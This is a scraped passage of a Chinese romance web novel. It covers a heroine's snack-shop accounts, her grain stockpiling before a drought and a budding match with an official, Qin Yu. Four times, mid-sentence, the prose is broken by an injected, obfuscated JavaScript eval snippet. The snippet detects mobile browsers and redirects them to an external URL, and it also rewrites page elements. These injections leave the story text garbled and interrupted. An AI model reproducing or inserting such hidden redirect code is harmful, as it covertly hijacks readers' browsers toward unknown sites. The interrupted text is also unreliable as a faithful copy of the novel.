只是不及再说什么，眼角余光却见一熟悉的身形略显匆忙而来，扭头一看，确是正该当值的秦彧。 “爹娘？” 秦彧见堂中坐着秦放与徐雪芝亦是一怔，快步入座，见他们碗中甜酒已食过半，闻着味儿也不禁嗅了嗅鼻子。 他与徐雪芝口味近同，徐雪芝瞧得好笑，心知这挑嘴的小子多半也想尝尝，只能满含歉意叫瑛娘再煮一碗。 后厨是云氏与玥娘掌勺，瑛娘最多跑腿转告，言道“客气”便起身往后厨去。 瑛娘走远，徐雪芝才问秦彧：“今日不是当值？怎的这个时辰过来？” “……”秦彧沉默，待秦放也朝他看来，他才压低声音与父母解释道：“因我之故，前些时候平白叫汪娘子受了些委屈，既知今日食铺开张，不来怕是不好。” 秦放听得皱眉，只是大庭广众不好议论朝廷官员，他也不好与秦彧细问，只等暂时按下，待后再问。 徐雪芝却神情复杂，偏秦彧解释过便不再看她与秦放，只垂眸静默，似在思索，如此倒叫她无端生出几分连她都觉不可置信的猜疑。 江米粉是提前磨制的，煮一份甜酒丸子便无需多久，瑛娘很快端了碗来，秦彧起身来接，瑛娘便也顺手将碗交到了他的手中。 毕竟只是一只小碗，两人转接自然无法全然避免碰触，瑛娘未觉得如何，倒是秦彧又不自觉耳根殷红。 徐雪芝本就关注秦彧，见此茅塞顿开，目光不禁在瑛娘与秦彧身上往来回转，当真在心头考虑起两人成事儿的可能。 她儿秦彧品行自然过关，若要作比，秦、徐两家的子侄无一人能比得过他。 而瑛娘其人她虽没经年往来，可这几年时常听秦放与章文德提及、夸赞，几面之缘的短暂相处也都叫她身心舒畅，可见其人如名，非是一般寻常闺秀娘子，秦彧欢喜心悦到也正常。 那瑛娘对秦彧又是何感？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122843|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐雪芝忍不住仔细去看瑛娘对秦彧的态度，可她表情再正常不过，似乎秦彧与她或秦放无二差别，实在看不出任何旖旎情态…… 是了。 人无完人。 秦彧在外虽是端方君子，实则亦不过是个在家有些挑食、无趣的寻常男儿，如是非要挑个常人难及的长处，约摸也只能评一评他那张集两家之长的俊脸，与他超出常人的身高体量。 瑛娘初见秦彧时或许会关注他的容貌，可一经相处，怕是也看不上他无趣的性子，对他平常也属正常。 若两人能成，将来秦家家业也不用交由族中亲眷打理，且不论有了子女两人都能合力教导，不管科考、行商都有出路…… 唉！ 可惜了！ 徐雪芝叹气出声，引得瑛娘与秦彧齐齐看向她。 “芝姨可是觉得我们所谈无趣？” 瑛娘虽有些学识，正经论起来却也不通经纶，因而在这桌上只能与秦放聊聊商道，确是没考虑到徐雪芝不爱听这些。 徐雪芝没想到自己胡思乱想竟引得瑛娘关注，不禁脸颊嫣红，“是我神游了，你们自可随意谈道，不必管我。” 秦彧与徐雪芝面容有三分相似，瑛娘见她脸红，难免忆起此前秦彧耳根鲜红欲滴的模样，一时有些心痒。 不过当着秦放与徐雪芝的面儿，瑛娘也不好叫他们觉出不寻常来，只得强忍住不去看秦彧，与徐雪芝笑过，便回归与秦放所谈话题。 那日提及葡萄制干，秦放便从商队里挑了几个得力的单独分组一队，以待五月出发前往西原收购葡萄晾晒，其中便有老汪家的两个小子，故而特意与瑛娘提了一嘴。 瑛娘眼下虽暂时脱离了老汪家，可在外人眼里她终归还是老汪家待嫁的闺女，便是来日嫁出门去，两家也得作姻亲往来，不会全然断了干系。 不过瑛娘虽是单方面与老汪家二老撕破了脸皮，对汪文、汪武两兄弟却无多少厌恶，闻言便也关心了两句。 “五哥、六哥在家时便肯卖力，这两年虽难见面，却也常听章叔提起两位哥哥在商队的境况，这回他们能得秦叔信重，得以领下前往西原的重任，想来也是两位师父力荐吧？” “他们确是与我推荐过，不过挑他们去也多是因为他们本身确实能力出众，将来商队增建，指不定还要他们兄弟两个各领一队往外行商。” 章文德与两位商队管事也熟，听罢便也笑谈听来的消息，“我记得你两位哥哥与公子同岁？前头听老黄说商队里有看中这两兄弟的，想与他们结亲，只是不知他们此前可曾相看过？” 昨年春耕前徐氏确是提过一嘴，不过汪文、汪武老是借口不着家，徐氏拿他们无法，何氏这个为娘的却不着急，几说之下徐氏也淡了想法。 至于秋收后徐氏可曾再提过此事，瑛娘却是不晓得，只能直言与章文德歉意，道：“章叔不若叫两位师父问问五哥六哥自个儿的打算？四婶并不强求他们的姻缘，若五哥六哥愿意，此事该也能成。” “如此也好，那我便叫他们自个儿操心去。” 瑛娘淡然一笑，又与秦放说起其他。 62. 账目 西原除了鲜果，玉石开采也是一绝。 瑛娘还缺一枚印章，此前一直没得机会寻好玉雕刻，这回有空与秦放及徐雪芝闲坐，正好借机问问买玉事宜，免得自个儿不解全貌，去了金玉石行相看，反倒遭受掌柜、伙计蒙蔽。 要刻印章，寿山石与鸡血玉都是上佳。 其中寿山石色彩斑斓却不失玲珑，且极易雕刻，徐雪芝从前便为秦放置过两方，至今审契加印还在用。 而鸡血玉颜色艳丽，玉质也极细腻，不管用于印章雕刻亦或打磨腕钏都十分适宜，可惜鸡血玉采量不大，往往一出市便为权贵争抢，徐雪芝花了大价钱才买得一只盛京传出来的鸡血绞丝镯，平日戴都不舍得戴，只束之高阁以待将来传家。 相玉徐雪芝才是专精，说起此道登时将儿女情长抛诸脑后，兴致盎然与瑛娘分享心得，直说得口干舌燥。 铺中还有柑橘果酱，瑛娘见她说得高兴也不好打断，只得朝阿草使了眼色，叫她冲了柑橘水来叫徐雪芝润嗓。 待得酸甜可口的柑橘水入喉，徐雪芝才舒缓一叹，道：“当然，除了寿山石与鸡血玉，平时府城常见的和田玉也能作印章雕刻，端看你喜好哪种。” 和田玉在西原只算平常，因而全凭玉质及色彩议价，但府城里头的金玉石行并不只卖精品，若买客自个儿看走了眼，高价买得拙玉也怪不到店家头上。 瑛娘倒是不追求极致，便挑着寿山石与和田玉询价。 “若是寿山石，青石约摸四百两，黄石得要五百两，这价虽是有些贵，但我相熟的那家师傅雕工极好，再复杂的样式他都做得出来。若是和田玉么，一方约摸也就二百来两，也可自个儿拿了玉去，只收二十两雕花钱。” 瑛娘从前那枚印章便是她花三百万拍卖所得鸡血玉所刻。 这钱若兑换成时下的银钱，约摸也值当三、四千两银，因而这寿山石加独门儿的雕刻技法，只取四、五百两倒也说得过去。 “便劳请芝姨帮我相一方寿山青石吧。只是不知那师傅可能依画雕刻？” “自然可以。你若自个儿出了画样，那家师傅还能提前个三五日交付呢！” 出了印章，瑛娘才好打算下一步。 正好徐雪芝要在府城待上几日，瑛娘便借口回屋取纸笔，从仓内取了来画与徐雪芝收存。 也是如此瑛娘才觉出错漏——这商铺本就在她名下，院子里平日也只她一人独处一屋，却也没必要再事事都藏进仓内，取用不便，还易叫帮忙洗衣铺被的谢梅与阿草察觉。 不过眼下屋内陈设不多，确也不好突然放些箱笼来分装物品，还待晚些时候外出走一走过场，才好叫那些东西过了明路。 心中有了计较，瑛娘便拿了画纸回到堂中。 秦彧已然吃过甜酒。 瑛娘拿着画纸来时，徐雪芝正明里暗里试探他对瑛娘的心思，可惜他的嘴比他爹秦放还紧，任她如何问，他都一口咬死只为歉意而来。 此事毕竟关乎女子声名，徐雪芝也不好在外逼得太过，正好瑛娘过来，只能暂时放过。 瑛娘所画印章非是一方规规矩矩的方形章，其画样顶端作重瓣莲状，印柱是可作镂空的卷草纹，印花则是此前留于墨方上的“苦禅”花字。 重瓣莲纹理清楚，卷草纹细节如发，再辅以寿山青石的盈透却是说不出的禅意。 如此画样，便是不精画技的徐雪芝与秦放、章文德看了也不禁称好，再看秦彧也是目含欣赏。 瑛娘不着痕迹扫过秦彧面容，执起画纸交与徐雪芝，问道：“芝姨，如此画样那师傅可能雕刻？” 徐雪芝接过画样端详，秦放伸手来抢也都被她避让，闻言想也不想便道：“能！一会儿我便拿去金玉楼找那师傅帮你雕！” 说罢就要秦放拾掇拾掇回府。 瑛娘盈盈一笑，恰见阿草忙过，挥手将她叫来，“把备好的食盒取来。” 备与秦放及徐雪芝的食盒瑛娘也是用的九色攒盒，徐雪芝一见果觉欢喜，再三客气才与秦放上了马车。 临了，秦彧却是不愿与他们同行，不仅引得徐雪芝意味深长，便是秦放也觉他态度奇怪。 好在徐雪芝心里存着一丝道不明的期待，当即扯了秦放一把，二人才甩下秦彧与章文德先行乘车回了秦彧府上。 章文德自是要去漱墨坊张罗忙活，笑与瑛娘别过，也撇下秦彧先离了食铺，偏秦彧站在门前却是半晌没得话语，也不见有欲走的打算。 “秦大人不回府衙办公？” 秦彧表情有一瞬僵硬，不等瑛娘察觉便仓皇垂下眼，只道：“不知店中还有哪些小食未售罄？我买些去送与同僚。” “今日小食除了甜酒丸子，其他几样皆已售罄，若秦大人想以小食作礼，不如我叫妹妹做好了，晚间再叫章叔带回与你？” “甜酒丸子就好。” 瑛娘诧异之余望了秦彧一眼，见他表情似是认真，也不好再拒绝，“那秦大人稍后，我去灶间叫妹妹多做几碗来用食盒装好。” “好，劳烦了。” “秦大人不必客气。” 瑛娘依言回后院转告玥娘，等待期间却在回顾今日异常。 从章文德此前口述可观，秦彧其人作为府衙同知，平日也算勤勉，虽不受上官待见，却也不至于明面儿上与上官争锋相对、愤然离职。 可今日既非旬假…… 依她此前片面了解，此人确是不该于早间出现在食铺，可他的确来了……总不至于当真是为同僚备礼而来？ 眼下秦家作为众矢之的，便是未有功名的通判之子都能当街与他为难，她实在想不出谁会顶着上官压力与他往来密切，所以，这礼究竟备作何用？ 不待瑛娘思绪明了，玥娘已然煮好了甜酒，四碗皆以油纸封口，确保不会抛洒才分放于食盒两层，叫瑛娘拎出去交与秦彧。 收了食盒，秦彧再找不到滞留的借口，默默付了结银，拎着食盒回了府衙。 今日确是不该贸然往来食铺。 可若不去，他又莫名心觉空了一块，连平日反复审阅的公文也看不入眼。 非究因由，或许，确是为了那日平白连累瑛娘吧…… 送走秦彧，小食铺又忙活了一阵。 待得午时将至，灶间所备甜酒丸子的份额也消耗殆尽，瑛娘才叫谢梅关了半扇铺门，叫来云氏清点营收。 钱匣子里含括这两日柑橘果酱所得二百两银，还有约摸三十两零散碎银为今日城中富户定购九色攒盒的定银，余下的铜钱才是几样小食今日的营收。 云氏照瑛娘的习惯将铜钱按一两银的兑税串成一贯，到最后拢共数得九贯整并三百六十零散。 再算本钱。 三味糍糕用去十来斤江米、甜酒丸子用去七斤、炸奶块用去一斤，十八斤江米并作一百八十文钱。 又有鲜牛乳两壶，价值一两；精瘦猪肉五斤，一百文；红糖、红枣、胡麻、白糖约摸五百二十来文；一坛山茶油三百来文；柑橘一两银。 再就是酿甜酒的酒曲，五坛所用酒曲就得一两银，而一坛甜酒只够两日供给。 这两日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127919|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买卖赠送合计算来本钱不过五两二钱银，纯利二百零四两并一百四十文！ 自然，柑橘果酱非是日日都有。 可仅凭几样小食一日也能盈收七两余，不出两年就能挣回买下这间商铺的银钱，便是见识过三房面铺子的盈收，云氏也难免讶然语塞。 “瑛娘……这般多……会不会太过了？” “这便算多了？夏时还有冰饮，届时挣得只会更多。” 云氏深吸了一口气，却是说不出不挣这钱的违心话来。 玥娘愣过之后倒是比云氏开心，扑过来便将瑛娘抱住，“姐姐！姐姐！这里头是有我一份辛苦钱吧？！” “是有。单这两日你与娘就能合分四十六两并九百零八文，此后每日便是没有果酱、食盒，也有一千五百九十文可分。” 实际，今日做完，食铺营收账目已然明了。 其中每日江米消耗都不必算作本钱，但这人情是瑛娘换来的，故而省下的部分未与玥娘算明。 即瑛娘每日仅凭几样小食即可得六千五百四十文，一年算来便是二千一百四十两上下。 而至五月天热时，再制了冰，酿些鲜桃、葡萄、浆果果酱，与江米丸子合制酥山，一日限售三十份，一份售上三钱银，至九月末约摸又能得银一千三百五十两。 其中硝石能够反复炼取，一年五个月制完还能剩下二十斤硝，算来算去，酥山一门买卖本钱不会超过五十两银，如此一千三百两纯利，瑛娘取八成，得一千零四十两银。 除此之外，富户所定食盒却也没有定数。 不过即便一年只有一百单，她也能得四百八十两分利。 三者一算，确是无需两年便能收回置办商铺的银钱。 自然，玥娘算不明瑛娘的账，只听今日即可与云氏同分几十两银便乐得呲出了牙花，扭头便与云氏歪缠。 “娘！你分我多少作辛苦钱？能不能今日就给我些！我有好些东西想买！” 云氏确有打算。 如今玥娘也大了，灶间能做的事多，不说别的，便是今日就有多半小食出自她手，因而每日分利，云氏都打算与她对半均分。 不过这分利也不好叫她全拿去自由花用，云氏算了算账，只道今日先与她九百零八文零散分利，余下的四十六两及今日小食盈收，便待年底结算清账时再与食盒及别的进账合算了均分。 数额太大，玥娘根本算不清账，只得双目盈盈望向瑛娘。 待她粗略算过，得了个五百三十两的数额才高呼出声，一时抱着瑛娘，一时又抱住云氏的胳膊蹦跳，堂前登时笑声四起。 算得云氏与玥娘所得，瑛娘索性拨了三两银与谢梅，又拨了二两银与阿草，道：“食铺忙碌，每日不得清闲，你们还得洗衣置备、洒扫庭除，这钱便作月银，之后每月初几里头结与你们。” 阿草只比瑛娘大一些，性子素来活泼，眼下碍于身份不敢伸手拿钱，一旁谢梅更是连连摇头，伸手便将钱推回瑛娘面前，“每日能够吃饱睡暖已是幸事。况且我们母女二人平日一应需用本就由东家承担，哪好再拿什么月银？” “谢婶，你平时没甚喜好，花用自是不多。但阿草还年轻，将来指不定还需你替她掌眼相看，寻得如意郎君，届时要嫁，总不好再挂奴籍？” “……”谢梅嗫嚅半晌，终是在阿草殷切的目光下收下了银钱，“多谢东家宽厚。” “无须客气，只盼今后你与阿草能更尽心。” “东家放心，谢梅今生再不奉二主。” “阿草也是！” 63. 旱情 没得几日，徐雪芝带着印章与凭据来了铺子。 瑛娘一看印章便知那匠人的确称得圣手，只是临了来了几位订购攒盒的食客，她忙着去招呼，一时倒也没注意徐雪芝颜表未尽之言。 徐雪芝也不在意，见她确是不好分心，索性与她说了一声就自个儿先行去了后院。 也不知她与云氏说了些甚，待离店时，端是不认识她的食客也瞧出了她脸上的喜色。 “瑛娘，我瞧着你们着实忙不过来，今日便先回村头去了，改明儿你与你娘空了再到家中闲坐。” “今日着实怠慢了芝姨，改日我们一定去庄上。” 徐雪芝摆手示不在意，乐呵呵乘车而去。 瑛娘本打算待鲜果上市后多做些果酱再去秦家拜谢，不成想，真到五月里，却先传来了灾情。 昨年便有旱情。 府城周边河水丰沛，农人辛苦些自也能保六、七成收获，若是没有增税，勉勉强强也能糊口，偏生旱情与重税压得农户直不起腰…… 周边旱情倒是没影响到小食铺的买卖，只是云氏忧着外嫁的女儿，听得食客传言便在堂前走了神。 这几月小食铺的生意，瑛娘已经尽数交给了云氏，见云氏把着账本神思不属、幽幽叹息，便招来了小草，自个儿拉着云氏去后院。 “娘，可是担心姐姐们？” “嗯……听着今年地里头怕是没几分收成，大家伙儿日子不好过，咱们在府城买卖倒是还能做，瑾娘和阿客却怕是不好卖那肉畜了。还有琼娘一家……都指着地里收成，今年这般，怕是不好过了。” 旱情持续了一年，整个府城界内的储水也救不了所有庄稼，如果六月还降不下雨，今年的收成估计只存一、二。 瑛娘不禁闭目。 她明面能动用的只有这几月小食铺的盈利，共计二千一百两余，但仓中还有存银一千五百两银并五百两金、以及能够置换成银的花露、颜料、墨锭、纸等，如果冒险清一清库存，约摸也能凑出万把两银。 如果只是旱情，从外收粮救济百姓也能保一时苟活，就怕天灾人祸并行，那般再多的银钱也救不了人命。 瑛娘叹了一口气，也顾不了那般许多了。 “娘这几日先别管食铺的活计，带着银钱走一趟。” “好。” 能放下家中大小事务帮着收粮的也只有云客了。 府城周边能收的粮不多，云客便拿着钱跑远了些，只他一人恐一路不太安稳，便又拉了五个信得过的劳壮，带着瑛娘给的三千六百两银上了路。 云客出行，瑛娘也没闲着。 如今粮价不似从前，她并不觉得三千多两银能收回多少粮，索性叫玥娘守着云氏逗趣，自个儿驾车去了秦家。 眼下能信的唯有秦家了。 秦放与徐雪芝并非多话之辈，虽不明瑛娘为何清仓揽银，却无二话便先安排了人手清点货物与她结银，事后才避讳着问了因由。 “可是急用？若还缺银钱，不如先从秦家公账上借支些？” 秦放给的价十分客气，瑛娘也不计较那点儿零散的银钱，最终清仓所得一万一千两银。 依着目前瑛娘所了解的粮价，一万一估计能买来一万石稻米、一万石生麦并四十五万斤红薯，加上此前仓中所藏及云客能收来的稻米、生麦、生稻、红薯，最后约摸能出一百八十万斤稻米、一百二十万斤麦粉、五十万斤红薯。 若按一村四百口、一口一日一斤半的算法，这些粮起码能保差不多八个村子两年的嚼用。 应是够了。 瑛娘不觉得自己能救世，有这三百五十万斤粮食保府城周边不乱，便是足矣。 面对秦放的关心，瑛娘笑了笑，坦言道：“置换这些银钱也是以防万一，我手头还有此前从秦叔手头得的五百两金，便是这些银子全抛洒了也不怕。” “成。” 秦放并非多疑之人，闻言只道：“今年庄上收成不好，正好商队要去南边儿，我欲收些粮回来备着，不若帮你也带些？” 瑛娘往年收粮的动作并不隐晦。 于秦家而言，丰县界内可谓无甚隐秘之事，故而，瑛娘坦诚，秦放便也处处与她打算。 瑛娘正想从商队借人，当即点头，“多谢秦叔，不过我有别的打算，秦叔可否借两队人马与我？” 瑛娘信任秦放，却不尽信商队管事。 而且此番囤粮，她不打算要生稻，且收来的生麦也要全部碾磨成粉，这般便不好全拖累秦放，如果能借到人，再由汪文、汪武两位兄长领队最好。 秦放一听倒也没拒绝，细想之后便应了，“那便借你两支五十人的队伍。” “多谢秦叔！” 两支队伍想要收够价值一万多两的粮也不容易，秦放开了口，没几日汪文、汪武便带着队找上了小食铺。 大房母女三人离家营生并非小事，数月来老两口都没能气顺。 汪文、汪武来前归过一回家，这回便也帮着汪点柱带了分利银钱与云氏。 云氏已然许久未曾想起被留在大王村的汪点柱，捧着坠坠的钱袋子，一时有些不知该如何言语，喏喏道了谢，便埋首去了后院。 汪文、汪武诧异地挠头，不及交流，瑛娘便站出来带了他们去角落细谈。 “秦叔打算往南收粮，两位哥哥便先带队往北边探探路，若是顺利便收些昨年的陈粮。这批粮以稻米、红薯为主，收得生麦也要请人磨粉，所以还需你们多上些心。” “好。” “这两年赋税加重，今年的行情还不知如何，亦不知北地可有灾情，粮价几旬，你们这一路行走打听消息，也要多加注意己身安危，万不得已时，粮、钱都是次要，保命要紧。” “妹妹放心，我们一定注意。” 商队的事汪文、汪武早已门清，瑛娘便不多言，招待两兄弟吃过便自顾自忙去。 这几月来秦彧往小食铺来得勤，他的心思瑛娘自然琢磨出了些许真意。 况且母女闲话时云氏也多次提起相看之事，隐晦之意听着似是对秦家非常满意，唯独担忧两家门户不当，怕她嫁去秦家也过不舒心。 瑛娘自是不怕受秦家委屈。 秦放与徐雪芝与人和善，秦家一众也早已知晓她并非普通农户女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180248|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，哪怕她与秦彧真成了事，秦放与徐雪芝也不见得会叫她从此做个相夫教子的后宅娘子。 更何况……秦彧此人实在合她的心意，无论音容都叫她欢喜，所以从心与他往来，只看他何时能主动踏出一步。 前几日秦彧送来了一卷游记孤本，瑛娘欲投桃报李，便打算做些稀罕的小食叫他尝味儿。 秦彧口味偏甜，正巧近来梅子正盛，她便熬了果酱，又舂了些江米来做夹心的甜点，待得秦彧下值再叫小草送去秦宅。 秦彧如何欢喜尚且不知，又是一旬过去，云客与那五个劳壮拉着满满六车粮来了府城。 这一路云客一行人走得并不安稳，好在有惊无险，倒也算是满载而归。 “周边的粮价已然与府城粮价同高，我已与安县十几个村子的村正说好，约摸能收到价值三千三百两的粮食，全是昨年产出的新米和麦、薯。只是我这方能帮忙的人少，便只能请各村村正集合人手往府城送来。” 说罢，便把这回奔走剩下的银钱交还给瑛娘。 云客做事细致，这般安排自然比他带人奔走更妥帖。 瑛娘点头谢过，思虑云氏心忧，正欲问云客今后打算，便听他继续道。 “此次我们不止去了安县。”云客的表情说不上好看，显然远行所见实属算不上好，“骏阳府界内还算好，今年春耕种下的粮食都能看见收成。但骏阳府与外地交界处已然能见旱情影响，今年秋收怕是都不好过。” 云客并非一门心思种田养家的农户，自农税增赋后他便想办法扩建了肉畜笼子，这两年也新置了不少田产，但他不擅农事，也不欲叫瑾娘被农务劳累，所以这两年基本都是以银代税，田地都赁给了乡里去管理。 眼下旱情减收，秋收后还不知光景如何，云客就怕府城界外受灾至颗粒无收，到时估计只有居于府城才能免受灾祸。 云客此番带回的粮约摸只有百来石，瑛娘不好叫他们白跑一趟，便一人与了两锭十两的银元宝，这才叫了谢梅来招待那五位劳壮去酒楼吃酒，自个儿带着云客去了后院寻云氏说话。 “娘！” 云氏近来多忧虑，神情略显萎钝，见云客奔走之余精神尚佳，一时欣慰道“好”，稍后才幽幽一叹。 瑛娘知她所忧为何，拉着她坐下，才与云客试探，道：“娘近来有意帮我相看，若是家中无事，姐夫可能带姐姐来府城与我们团聚？待我说了亲事再回？” 云氏乍怔。 云客倒没多想，心道瑛娘确是到了说亲的年纪，如今又在府城营生，普通农家子怕是入不了岳家的眼，能在城中相看确实比回村头蹉跎的好。 瑾娘性格绵软，就算进了城也不见得能出什么主意，不过眼下这般境况，以团聚为名暂避府城，倒是不易叫乡里觉出什么别的坏意思来。 “今年家里未新养鸡、兔，妹妹且等几日，待我将家中的肉畜处理干净再陪瑾娘来府城与娘和两位妹妹团聚。” “好。” 云氏没想此事如此简单，怔然过后也松了口气，乐呵呵应了声好。 “那小婿便先回村头休整了，娘与妹妹留步勿送。” 64. 吉日 送走云客，瑛娘开始为囤粮做准备。 仓中物品基本被清空，只留了些实在不好暴露人前的东西与田地房契、金银玉饰，其中空间少说也能存下数百万斤粮食，便是将那五百两金再兑个一万两银钱去买粮也还放得下。 但小食铺后院并不宽敞，平日里人多眼杂，囤粮想也不易，瑛娘不打算将秘密暴露在谢梅母女眼前，只得想法在静谧处单赁一个空旷的宅院掩人耳目。 可信之人实在不多。 从秦家借来的两队人马是不够消耗那一万一千两银子的，临了出行前瑛娘特意与汪文、汪武两兄弟交代过，只要往北收满车便先遣可信之人将粮送归，途中车队不论雇佣都由她来承担一应费用，如此，若是顺利，估计秋收之前便能将银钱耗尽。 且安县送粮的队伍不知哪日便要来，此事不敢耽搁，瑛娘接连跑了三日，终是在骏阳府外十几里处的夕山脚下寻了个荒芜的田庄旧址，将那三进的大院赁了来，安排好小食铺事宜，辞别云氏，搬进田庄闭户而待。 囤粮之事暂无遗漏，瑛娘才又静下心来打算别的。 灾情一起，人祸并出。 秦彧被上峰视作俎上鱼，秦家之盛如招风之树，如果不及时应对，待得灾情更剧，秦家拢家上下怕是再不得安宁。 瑛娘有意与秦彧更进一步，自然看不得将来的亲眷陷入囹圄。 瑛娘一人待在城外田庄，云氏如何也安不下心，这日云客带瑾娘入得城来，云氏才心下松了口气，拉着瑾娘赶了车来田庄与她团聚。 虽说还忧着琼娘一家，但前几日瑛娘所说“相看”一事更令云氏心急，眼下得空，正好借此机会将她的亲事说定。 云氏不是那般会拐弯抹角的长辈，简单吃过便拉着瑛娘说起了闲。 “虽说父母之命媒妁之言，但娘还是希望你能嫁得顺心如意。未来尚有数十年，你是想求安稳，还是富贵？” 不管嫁与何家，瑛娘应也少不了富贵日子，但商户与官吏之间落差巨大，秦家虽是商户出身，但秦彧已然越过龙门，瑛娘一旦嫁与秦彧，将来便要面对秦彧或会面临的一切。 秦彧在府衙的处境便是云氏也略有耳闻，若真成了事儿，便是秦家不给瑛娘委屈，秦彧在外受得针锋怕是也会刮到瑛娘身上来。 云氏满意秦彧、满意秦家，就只怕将来官家发难，她却无力与女儿分担。 瑛娘自然知晓云氏忧扰。 但她不愿将就，亦非只求一人，便虚虚抱了抱云氏，牵着她的手笑道：“娘只管往外说有意与我相看人家，有心者自然会上门求娶。” 云氏这便懂了。 “好。” “娘莫烦心，我看姐姐气色不错，该是近来有喜信了？” 瑾娘正琢磨瑛娘能说的人家，闻说“喜信”脸色兀地一红，“约摸有点感觉，但日子还浅，便没来得及与娘说。” 她幼时身子弱，心头又时常憋闷，所以每每经历月事都会迟上几日，甚至在月事来前也会莫名烦躁，胸中尽是无名怒火。 这回月事虽迟迟未到，但她却无往日的情绪，甚至梦境都多喜人。 多半是无误了。 云氏没想到还有这样的意外之喜，喜意上头，一时便也顾不上烦忧什么秦家、官家了。 “阿客可是知晓？正好，那鸡、兔气味难闻，阿客既然处理了之前养的那些，你们便来府城另寻个营生，我也好看顾你养身。” 云客能写会算，又曾跟随商队行走，在府城寻个活计不难，瑾娘自然没有当口拒绝，略一思索便代云客应了下来。 云氏满心欢喜，瑛娘却也被她一番话提了醒。 若秦彧真能踏出这一步，接下来她便不适合再于小食铺行走，如果瑾娘与云客要来府城营生，这食铺倒是可叫瑾娘来帮帮手，不管云客打算如何，这小食铺的分利总归是一份不菲的收入。 有了想法，瑛娘便直言与瑾娘说了。 “小食铺利厚，只若我出嫁，铺子里怕是再忙不过来。先头我与娘分了二成利，姐姐不若也来铺子里帮手，到时利作四份，娘拿两成，你与玥娘各拿一成？” 打小食铺开张以来，短短三个月便有利二千一百两，按照这般计算，接下来便是不做冰饮、酥山，整年也能有八千余两盈收，便是只取一成也有八百余两。 瑾娘不知这利究竟有多厚，却不待拒绝，瑾娘已然按住了她的手。 “一成利并不算多，待我出嫁，这小食铺便全靠你们打理，我取六成已经占尽了便宜。况且姐姐也该多为将来考虑，且不管咱们爹娘老来如何，至少你手头有银钱，底下的小子闺女也能活得更好、寻得更好的出路。” 此前瑛娘许诺云氏、瑾娘合得二成利，但因近日囤粮之举，那利钱便被她尽数挪用。 云氏自然不计较这般许多，但听瑛娘不仅单分一成利与玥娘、瑾娘，又留了两分利与她，心下便知她亦记着琼娘，如此，心中更是酸涩。 “今年灾情难明，你管着我们的吃喝，便是不分利也没事。” 瑾娘虽是不争不抢的性格，眼下也实在说不出更多的拒绝来，眼眶一热，便反握住瑛娘的手，“……娘说的没错。这两年阿客挣了不少家当，尽数交到了我手里，你先紧着要紧的事儿做，分不分利的以后再说。” 瑛娘只笑：“且安心，我手里银钱还有富余。” 有瑾娘帮衬云氏，瑛娘便可安心盘算今后，只交代云氏将小食铺一应账目计算好，此后每月最后一日算清盈出，按她所说将利分好。 “先头的盈收都已取用，分利之事便从六月开始计算，我得暂住庄上，今后每月初时娘再抽空将利钱带来与我就行。” 瑛娘的决定云氏向来不易动摇，闻言叹息，只得将此安排牢记。 “只你一人在庄上能成吗？不若将谢梅或小草遣来伴你？” 瑛娘倒是可以自给自足，不过女子独居确是更易引起不必要的麻烦，瑛娘略一思索，便点头让谢梅过来。 谢梅经事儿多，更沉稳，便是察觉了她的异处也多半是沉默以覆，不似小草性格不定，将来指不定会出什么变故。 “那成，晚间我便叫谢梅收拾了过来。” “嗯。不过姐姐毕竟有了身孕，平日不好多操劳，娘不如再请两个小厮跑堂，若是哪家需用小食却不方便，也可叫他们去送。” 云氏摸不准云客有无别的打算，只得点头应下，“好，明日我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187450|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去市集寻摸。” 府城不缺劳工，说定此事，云氏便带着瑾娘回了城去。 如瑛娘所料，“相看”之事一经传出，最先耐不住的便是秦彧。 秦彧常往来于食铺，瑛娘下庄第二日便叫他打听到了详细，再探得云氏有意为她相看，当即便差人往秦家送信，请徐雪芬择日再入城来与云氏交底。 古来男女相看，多借口踏青、赏景。 但瑛娘与秦家交情甚密，倒是无需另寻借口，只待瑛娘生辰日，徐雪芝便携重礼来与瑛娘庆贺。 